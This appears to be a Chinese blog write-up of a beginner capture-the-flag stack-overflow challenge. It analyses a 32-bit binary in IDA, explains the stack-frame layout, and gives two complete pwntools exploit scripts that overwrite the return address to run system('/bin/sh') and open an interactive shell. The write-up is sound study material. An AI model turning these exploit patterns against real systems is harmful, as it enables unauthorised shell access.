简单栈溢出和覆盖的思考

编程入门 行业动态 更新时间:2024-10-19 08:45:21

1.main函数F5反编译:

两个函数,第二个是system()函数,执行括号中的shell命令,此处就是重复输hello world.(注:system()会调用fork()产生子进程, 由子进程来调用/bin/sh-c string 来执行参数string 字符串所代表的命令, 此命令执行完后随即返回原调用的进程. 比如,在代码程序内部想获取当前目录下的文件名,很简单,可以这样:system(“ls”);)

2.进入 vulnerable_function:

第一行,给buf缓冲区变量申请0x88字节大小,h表示十六进制。在函数返回时需要read函数输入0x100个字节的无符号的字符串变量,很明显,空间不足,会发生栈溢出。
缓冲区及基址具体大小:

很明显,我们想利用read函数的漏洞,覆盖vulnerable_function函数的返回地址,返回执行system(“/bin/sh”),从而获得系统权限。

3.快捷键Shift+Fn+F12,查看字符串窗口,发现程序里就有这个字符串

双击/bin/sh查看其位置来源:

所以sh_addr=0x0804a024

4.注意到程序里是有两个system函数的,用哪个system函数呢?
vulnerable_function函数内部的system函数执行完了之后再执行read函数的,此时这个system函数的栈帧是不存在的,也就是说程序接下来要执行的流程里没有这个system函数。但当read函数执行完返回,也就是vulnerable_function函数执行完后,此时这个system函数是需要执行的,所以我们直接用这个system函数,把它的参数改成“/bin/sh”,按照程序流,程序执行这个system我们就可以获取系统权限了。

发生函数调用的时候,
首先,新栈底ebp此时应该变成老esp值,那老栈底就应入栈保存
然后,返回地址入栈。调用者在调用完函数以后,肯定需要从下一条指令接着执行。而这个返回地址就是下一条指令的地址。
再新函数的各项参数入栈。

5.结合本题,我们希望的函数执行流程如下:

首先vulnerable_function函数执行,到read函数时开始接收0x100=256字节的输入,我们将这256字节这样分配,首先覆盖的buf的0x88=136字节大小空间,然后覆盖4字节的函数栈基址,再将返回地址覆盖修改为system函数的调用地址。
此时程序执行到这会执行system函数,这时,vulnerable_function的栈帧已经消失了,但ebp值还存在栈上,所以system栈帧里,同样返回地址入栈再参数入栈。这个返回地址我们已经不关心system执行后跳到哪执行了,所以随意填任何一个地址都行,system参数的我们希望它是/bin/sh。
所以最终我们希望构造的输入字符串长这样:
payload = ‘a’ * (0x88 + 0x4) + p32(sys_addr) + p32(0xdeadbeef) + p32(sh_addr)
这里p表示打包发送,因为地址和数据本来是不可加的,这里把它们变成可拼接的一种表示方式。

那么这个字符串有多长呢?一定是read需要的256字节输入吗?答案是否。我们只需要确保覆盖了buf的空间,剩下0x100-0x88空间随意我们用,我们只需要达到获取系统权限的目的,执行system(“/bin/sh”)就行,就像我们压根不关心system的返回地址是哪里一样。

6.我们这里用的system函数是肉眼可见的程序里的。倘若程序没有,真正的system函数地址可以通过Python库中pwntools的ELF模块获得。
使用ELF模块首先需ELF(‘文件名’)获取文件句柄,还需设置环境context(os=‘linux’, arch=‘i386’, log_level=‘debug’);
而后hex(elf.symbols[‘函数名’])可以获取函数地址,此处elf.symbols[‘system’]就可获得system函数地址;

看一下pwn4这个文件是一个32位的,ELF就是可执行与可链接的文件格式,LSB是linux规定的应用程序与二进制接口的标准,是最低有效位。dynamically linked表示动态链接的。动态链接过程中可能部分地址会发生变化,和IDA静态分析的地址有出入,所以需要elf获得system函数的实际地址。

7.综上,编写的exp如下:
版本1:
from pwn import *
p=process("./pwn4")
context.log_level = ‘debug’
elf=ELF(’./pwn4’)
sys_addr = elf.symbols[‘system’]
sh=0x0804A024
payload=‘a’*(0x88+0x4)+p32(sys_addr)+p32(0xdeadbeef)+p32(sh)
p.recvuntil(“Input:”)
p.sendline(payload)
p.interactive()

版本2:
from pwn import *
p=process("./pwn4")
sh=0x0804A024
sys_addr=0x0804849E
payload = b"c"*0x88+b"a"*4+p32(sys_addr)+p32(sh)
p.recvuntil(“Input:”)
p.sendline(payload)
p.interactive()

两个版本构造的payload有些许差别,都是通过调试打通题目,但原因未明。

更多推荐

简单栈溢出和覆盖的思考

本文发布于:2023-06-14 09:54:00,感谢您对本站的认可!
本文链接:https://www.elefans.com/category/jswz/34/1463089.html
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。
本文标签:简单

发布评论

评论列表 (有 0 条评论)
草根站长

>www.elefans.com

编程频道|电子爱好者 - 技术资讯及电子产品介绍!